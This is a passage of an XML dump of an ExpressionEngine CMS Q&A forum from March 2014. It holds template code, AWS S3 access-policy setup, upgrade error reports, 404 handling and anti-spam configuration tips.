if}=&quot;&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;10&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 10}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;10&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;20&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 20}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;50&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 50}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;50&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;100&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 100}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;100&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/select&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;       &#xA;&#xA;    {/exp:gmap:search}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&#xA;&#xA;    {exp:gmap:init id=&quot;map&quot; class=&quot;gmap&quot; style=&quot;width:100%;height:200px&quot;}&#xA;&#xA;    {exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {if has_searched}&#xA;            &amp;lt;ul&amp;gt;&#xA;            {results}&#xA;                &amp;lt;li&amp;gt;{title} - {distance}&amp;lt;/li&amp;gt;&#xA;            {/results}&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;            {results}                   &#xA;                {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{address_lat}&quot; longitude=&quot;{address_long}&quot;}&#xA;            {/results}&#xA;&#xA;        {if:else}&#xA;            {exp:channel:entries channel=&quot;retailers&quot; dynamic=&quot;no&quot; disable=&quot;member_data|categories|category_fields|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;                {address_map id=&quot;map&quot;}&#xA;&#xA;            {/exp:channel:entries}&#xA;        {/if}&#xA;&#xA;        {if absolute_count == 1}&#xA;        &amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Hint: Try searching for 'Hoosier National Forest' at a distance of 20 miles.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if no_results}&#xA;&#xA;            &amp;lt;p&amp;gt;No results found&amp;lt;/p&amp;gt;&#xA;&#xA;            {exp:channel:entries channel=&quot;retailers&quot; dynamic=&quot;no&quot; disable=&quot;member_data|categories|category_fields|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;                {address_map id=&quot;map&quot;}&#xA;&#xA;            {/exp:channel:entries}&#xA;&#xA;        {/if}&#xA;&#xA;    {/exp:gmap:results}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now onto other issues - like the search not returning results...;)&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-03-17T22:09:52.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20381" PostTypeId="2" ParentId="6711" CreationDate="2014-03-17T22:14:51.803" Score="0" Body="&lt;p&gt;Here's the full info to help.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set up a new bucket for the client&lt;/li&gt;&#xA;&lt;li&gt;Set up a new user in IAM with a set of access keys but no password, thus can't login to AWS control panel.&lt;/li&gt;&#xA;&lt;li&gt;Under the Permissions tab for this new user attach a user policy as below. Be sure to enter bucket name.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;Version&quot;: &quot;2012-10-17&quot;,&#xA;  &quot;Statement&quot;: [&#xA;    {&#xA;        &quot;Effect&quot;: &quot;Allow&quot;,&#xA;        &quot;Action&quot;: &quot;s3:ListAllMyBuckets&quot;,&#xA;        &quot;Resource&quot;: &quot;arn:aws:s3:::*&quot;&#xA;    },&#xA;    {&#xA;      &quot;Sid&quot;: &quot;Stmt1395087711000&quot;,&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xA;      &quot;Action&quot;: [&#xA;        &quot;s3:*&quot;&#xA;      ],&#xA;      &quot;Resource&quot;: [&#xA;        &quot;arn:aws:s3:::&amp;lt;bucket-name&amp;gt;&quot;,&#xA;        &quot;arn:aws:s3:::&amp;lt;bucket-name&amp;gt;/*&quot;&#xA;      ]&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now you can use the key and private key to access the bucket in addons or via S3 tools. You can also adjust permissions to allow only PUTting of files and no viewing/deletion, etc.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2014-03-17T22:14:51.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20382" PostTypeId="1" CreationDate="2014-03-17T22:37:25.457" Score="2" ViewCount="454" Body="&lt;p&gt;When trying to add an entry from the CP with a user in an 'Editors' group (not SuperAdmin) I get this error on being redirected after submitting the entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[quote]An Error Was Encountered&#xA;You are not authorized to access this page[/quote]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual entry submits fine - so it is not really an error at all - it just goes to this error rather than the usual screen which shows on successful submission. I CAN fix it by enabling &quot;Can view channel entries authored by others&quot; in the group permissions but I don't want to do this because:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) it shouldn't really affect it - this is nothing to do with any other user and more importantly:&#xA;b) I don't want this group to see the other entries - only their own entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is in EE 2.7.3 - any suggestions? Surely this is not normal behaviour?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-03-17T22:37:25.457" Title="Superflous 'Not Authorized' Error in CP" Tags="|control-panel|error|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20384" PostTypeId="1" AcceptedAnswerId="21121" CreationDate="2014-03-17T22:58:04.807" Score="2" ViewCount="427" Body="&lt;p&gt;All prior upgrades were smooth so I'm surprised to be getting errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the errors I've seen so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: array_merge(): Argument #1 is not an array&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 2373&#xA;&#xA;&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: EE_Template::$layout_conditionals&#xA;&#xA;Filename: libraries/Template.php&#xA;&#xA;Line Number: 3375&#xA;&#xA;&#xA;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: array_merge(): Argument #4 is not an array&#xA;&#xA;Filename: libraries/Template.php&#xA;&#xA;Line Number: 3375&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other pages are broken, can't seem to determine any errors even with error logging on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plain template works fine, no errors. I'll use this space to share other errors and what I figure out if anything at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Won't have time to take templates apart tonight so will pick up tomorrow.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2014-06-17T01:36:24.280" Title="Upgraded to EE 2.8.1 from 2.7.3... site broke." Tags="|2.8|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20386" PostTypeId="2" ParentId="20384" CreationDate="2014-03-18T00:52:00.957" Score="2" Body="&lt;p&gt;Try to disable one by one your modules, addons and analyse the results after disabled each one.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-03-18T00:52:00.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20387" PostTypeId="1" AcceptedAnswerId="20397" CreationDate="2014-03-18T01:44:55.593" Score="0" ViewCount="721" Body="&lt;p&gt;Inside this URL there is a parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/recipe?id=9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use this parameter &lt;code&gt;(id=9)&lt;/code&gt; with a conditional, like a segment? Or to check if there is a parameter inside a URL or not?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="153" LastEditDate="2014-03-18T09:00:54.597" LastActivityDate="2014-03-18T22:37:54.090" Title="using URL parmater with conditional" Tags="|conditionals|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20388" PostTypeId="2" ParentId="20387" CreationDate="2014-03-18T02:12:31.407" Score="1" Body="&lt;p&gt;With mo' variables (&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt;) you can get your get/post vars into early parsed variables you can then use in standard conditionals.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-03-18T02:12:31.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20390" PostTypeId="2" ParentId="20384" CreationDate="2014-03-18T03:54:01.680" Score="2" Body="&lt;p&gt;We ran into this issue and it ended up being related to Stash. I'd start there if you have it installed.&lt;/p&gt;&#xA;" OwnerUserId="967" LastActivityDate="2014-03-18T03:54:01.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20391" PostTypeId="1" AcceptedAnswerId="20407" CreationDate="2014-03-18T03:55:51.600" Score="1" ViewCount="80" Body="&lt;p&gt;I just realized that when I go to website.com/faljalsdfkj, it should cause a 404 and take me to the 404 page. I have this same setup on ann older site and it seems to be working correctly, but Can't figure out what's different. I don't have strict urls turned on because I need this setting for a feature.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After viewing this thread: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20242/404-errordocument-returns-home-page-incorrectly&quot;&gt;404 ErrorDocument returns home page incorrectly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it seems that perhaps its my apache configuration? Or is there another setting im missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be huge. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="2733" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-03-18T13:57:29.633" Title="404 returning to site index" Tags="|404|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20392" PostTypeId="1" AcceptedAnswerId="20399" CreationDate="2014-03-18T04:17:28.620" Score="0" ViewCount="115" Body="&lt;p&gt;I'm trying to find a way to show a simple entry count for the logged in member, which is limited by channel. I would be using this in a conditional to change the action of a link depending on how many entries they've posted to that channel. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == '8' &amp;amp;&amp;amp; {MY_ENTRY_COUNT channel=&quot;directory&quot;} &amp;gt; 1}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only plugin I can find is this one: &lt;a href=&quot;https://github.com/websecret/number_member_entries&quot; rel=&quot;nofollow&quot;&gt;https://github.com/websecret/number_member_entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work right to limit by channel - looks like its channels parameter is setup to list channel ID's instead of short names, but I don't think channels even have IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it makes any difference I'm using Solspace User, but that only appears to have a simple entry_count variable that can't be limited by channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how else to get a count like this that could be used in an advanced conditional?&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-18T12:53:32.550" Title="How to count member's entries, limited by channel?" Tags="|members|entries|solspace-user|count|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20393" PostTypeId="2" ParentId="20391" CreationDate="2014-03-18T05:32:55.567" Score="2" Body="&lt;p&gt;First, make sure you have enabled &quot;Strict URLs&quot; and chosen you 404 template in in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Control Panel Location:&lt;/strong&gt; Design &gt; Templates &gt; Template Preferences&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3UPb5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Global Template Preferences&lt;/a&gt; in the ExpressionEngine User Guide for more information.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-03-18T05:32:55.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20394" PostTypeId="2" ParentId="20242" CreationDate="2014-03-18T05:33:53.787" Score="1" Body="&lt;p&gt;First, make sure you have enabled &quot;Strict URLs&quot; and chosen you 404 template in in the control panel.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Control Panel Location:&lt;/strong&gt; Design &gt; Templates &gt; Template Preferences&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3UPb5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Global Template Preferences&lt;/a&gt; in the ExpressionEngine User Guide for more information.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-03-18T05:33:53.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20395" PostTypeId="1" CreationDate="2014-03-18T05:34:00.957" Score="0" ViewCount="59" Body="&lt;p&gt;Getting a Developer log error when I edit an entry using the channel:form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deprecated function submit_entry() called in system/expressionengine/modules/channel/mod.channel.php on line 5291.&#xA;Deprecated since 2.7. Use Renamed to: channel_form_submit_entry_end instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create an entry - all is fine, it is only editing that I'm getting a call to a developer log error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I've checked to see the modules using submit_entry and after searching, nothing is showing. &lt;/p&gt;&#xA;" OwnerUserId="2733" LastActivityDate="2014-03-18T11:38:56.450" Title="2.7 Developer Log Error submit_entry() to shannel_form_submit_entry_end" Tags="|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20397" PostTypeId="2" ParentId="20387" CreationDate="2014-03-18T05:45:18.500" Score="1" Body="&lt;p&gt;You can easily retreive GET and POST variables with the &lt;strong&gt;Mo' Variables&lt;/strong&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Download from Devot-ee&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/rsanchez/mo_variables&quot; rel=&quot;nofollow&quot;&gt;Github repository&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your URL is &lt;code&gt;http://localhost/recipe?id=9&lt;/code&gt;, you could use this code in your &lt;code&gt;recipe/index&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if get:id == &quot;9&quot;}&#xA;  TRUE!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also create default values for variables in the extension settings to test conditionals if no id parameter exists. For instance, if the default value for &quot;id&quot; is 0:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if get:id != 0}&#xA;  ID EXISTS!&#xA;{if:else}   &#xA;  No ID here!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is useful for handling exceptions like if there is no value in the query string (&lt;code&gt;/recipe?id=&lt;/code&gt;). &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2014-03-18T22:29:33.573" LastActivityDate="2014-03-18T22:29:33.573" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20398" PostTypeId="2" ParentId="20314" CreationDate="2014-03-18T06:21:47.623" Score="3" Body="&lt;p&gt;The best way I've found to eliminate bot attacks is with the &lt;a href=&quot;http://www.putyourlightson.net/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha&lt;/a&gt; add-on. It's very unobtrusive and supports just about every other third-party user and comment add-on, like Solspace User and Freemember.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't using EE's Member Profile Templates, it's probably a good idea to hide them. You can't &quot;delete&quot; Member Profile Templates per say, but you can randomize the 'Profile Triggering Word' with a config variable making it impossible to guess. This would prevent spam bots that are trying to exploit the built-in member registration form (index.php/member/register).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of this &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab's EE Master Config&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Member-based settings&#xA; */&#xA;$env_config['profile_trigger']          = rand(0,time()); // randomize the member profile trigger word because we'll never need it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an example from the &lt;a href=&quot;https://gist.github.com/leevigraham/448166&quot; rel=&quot;nofollow&quot;&gt;NSM Config Boostrap&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Create a random string for the member profile trigger&#xA;        'profile_trigger' =&amp;gt; '--sdjhkj2lffgrerfvmdkndkfisolmfmsd' . time(),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you wanted to add this directly into your &lt;code&gt;config.php&lt;/code&gt; file, you could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['profile_trigger'] = rand(0,time());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-03-18T06:21:47.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20399" PostTypeId="2" ParentId="20392" CreationDate="2014-03-18T06:58:03.683" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/websecret/number_member_entries&quot; rel=&quot;nofollow&quot;&gt;Number member entries&lt;/a&gt; plugin looks like it should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Channels do have a channel_id, but I can't find it in the EE control panel easily. You could count the number of channels down from the top of your Channels list (under Admin &gt; Channel Administration &gt; Channels). You could also use the &lt;a href=&quot;http://devot-ee.com/add-ons/developer-info&quot; rel=&quot;nofollow&quot;&gt;Developer Info&lt;/a&gt; add-on to find the channel_id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == '8'}&#xA;  {if {exp:number_member_entries:count channels='1'} &amp;gt; 0}&#xA;    Yep, there are entries!&#xA;  {if:else}&#xA;    No entries here.&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-03-18T06:58:03.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20400" PostTypeId="1" CreationDate="2014-03-18T10:10:55.993" Score="1" ViewCount="344" Body="&lt;p&gt;At the moment I can only set this to 'all file types' or 'images only' but would like to specify a small list (.doc, .docx, .pdf) for some documents, is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-18T11:59:00.557" Title="expression engine upload file types" Tags="|ee2|file-uploads|file-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20401" PostTypeId="2" ParentId="20400" CreationDate="2014-03-18T10:46:43.360" Score="0" Body="&lt;p&gt;you can determinate the allowed file type in EE from this file ./system/expressionengine/config/mimes.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and be sure that Admin -&gt; Security and Session Preferences, &quot;Apply XSS Filtering to uploaded files?&quot; set  to &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this will apply to all member groups except Superadmin, superadmin members always can upload all files type.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-18T10:46:43.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20402" PostTypeId="1" AcceptedAnswerId="20403" CreationDate="2014-03-18T10:55:21.513" Score="0" ViewCount="76" Body="&lt;p&gt;I am trying to wrap a div () around my channel entries output every 3rd item. So&lt;/p&gt;&#xA;&#xA;&#xA;  entry1&#xA;  entry2&#xA;  entry3&#xA; &#xA;&#xA;&#xA;  entry4&#xA;  entry5&#xA;  entry5&#xA; &#xA;" OwnerUserId="2616" LastActivityDate="2014-03-18T17:08:47.917" Title="Channel Entries rows -wrapping" Tags="|channel-entries|css|html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20403" PostTypeId="2" ParentId="20402" CreationDate="2014-03-18T11:15:51.427" Score="2" Body="&lt;p&gt;you can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;{switch}&lt;/a&gt; or {if} condition with % Operator &quot;Remainder of one number divided by another&quot; like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- &lt;code&gt;{switch}&lt;/code&gt; variable :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch=&quot;&amp;lt;div&amp;gt;||&quot;}&#xA;....Your code....&#xA;&#xA;{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2- &lt;code&gt;{if}&lt;/code&gt; with &lt;code&gt;%&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==&quot;1&quot; || count%4==0}&amp;lt;div&amp;gt;{/if}&#xA;....Your code....&#xA;{if count%3==0}&amp;lt;/div&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-18T11:15:51.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20404" PostTypeId="2" ParentId="20395" CreationDate="2014-03-18T11:38:56.450" Score="1" Body="&lt;p&gt;first thing check that all your addons is updated to last version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to your database table Tools &gt; Data &gt; Sql manger &gt; mange database tables  and check exp_extensions table to see if any extension used safecracker_submit_entry_XX hooks , if there any check their names and update them to last version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check it and let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-18T11:38:56.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20405" PostTypeId="2" ParentId="20400" CreationDate="2014-03-18T11:59:00.557" Score="1" Body="&lt;p&gt;There is no native way to do what you want. It's either &quot;images&quot; or &quot;all&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one does not already exist then creating a custom fieldtype that would only permit uploads of a particular type should be possible. Start with the existing file fieldtype and see if you can modify it to do what you need.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-18T11:59:00.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20406" PostTypeId="2" ParentId="20392" CreationDate="2014-03-18T12:53:32.550" Score="0" Body="&lt;p&gt;I check this plugin it's very useful for me , so I edit it to accept channel short name in channels param.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can download the new version here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ahmad-saad/number_member_entries&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ahmad-saad/number_member_entries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-18T12:53:32.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20407" PostTypeId="2" ParentId="20391" CreationDate="2014-03-18T13:57:29.633" Score="2" Body="&lt;p&gt;Loading the home page in 404 mode is EE's default functionality. Unless you configure/code otherwise this is just what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't you add this to your home page template?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 !=&quot;&quot;}&#xA;  {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes you have a template specified as your 404 template in the area of the CP that Alex provided a screenshot of.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-03-18T13:57:29.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20408" PostTypeId="1" CreationDate="2014-03-18T14:45:11.150" Score="1" ViewCount="66" Body="&lt;p&gt;When I search through SuperSearch and get a result that uses the Playa field the Entry ID ## of the associated field is incorporated.  For instance, I'm searching projects which are associated with a given staff member via Playa.  My result comes back &quot;Project Title, [entry_id##] Staff Member&quot; where the entry_id## is replaced with the actual entry_id.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&#xA;Playa 4.4.5&#xA;SuperSearch 2.1.3&#xA;EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Drew&lt;/p&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2016-06-15T18:09:54.823" Title="SuperSearch Results for Entries using Playa displaying Entry ID" Tags="|playa|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20410" PostTypeId="2" ParentId="20408" CreationDate="2014-03-18T15:41:45.210" Score="0" Body="&lt;p&gt;I don't know if I understand your problem but check this URL and see if it will help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/super_search/third_party_support/#pt_playa&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/third_party_support/#pt_playa&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-18T15:41:45.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20411" PostTypeId="1" AcceptedAnswerId="20414" CreationDate="2014-03-18T16:03:08.327" Score="1" ViewCount="623" Body="&lt;p&gt;I'm running into what looks like an incompatibility for NSM htaccess generator with ee2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to save entries will result in the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Fatal error: Call to undefined function do_hash() in /home/dev/system/expressionengine/third_party/nsm_htaccess_generator/ext.nsm_htaccess_generator.php on line 224*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While trying to go into the settings returns the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Fatal error: Call to undefined method EE_Javascript::generate_json() in /home/dev/system/expressionengine/third_party/nsm_htaccess_generator/ext.nsm_htaccess_generator.php on line 421*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know  of a fix?&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-03-18T16:58:07.937" Title="NSM htaccess generator error EE2.8.1" Tags="|htaccess|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20412" PostTypeId="1" AcceptedAnswerId="24305" CreationDate="2014-03-18T16:28:48.673" Score="2" ViewCount="70" Body="&lt;p&gt;Does any one know if there is a way to display Exp-resso Store fields like Price in the Zenbu entries display? It'd be super-cooper nice for users.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-07-10T11:50:41.863" Title="Showing Store fields in Zenbu" Tags="|expresso-store|zenbu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
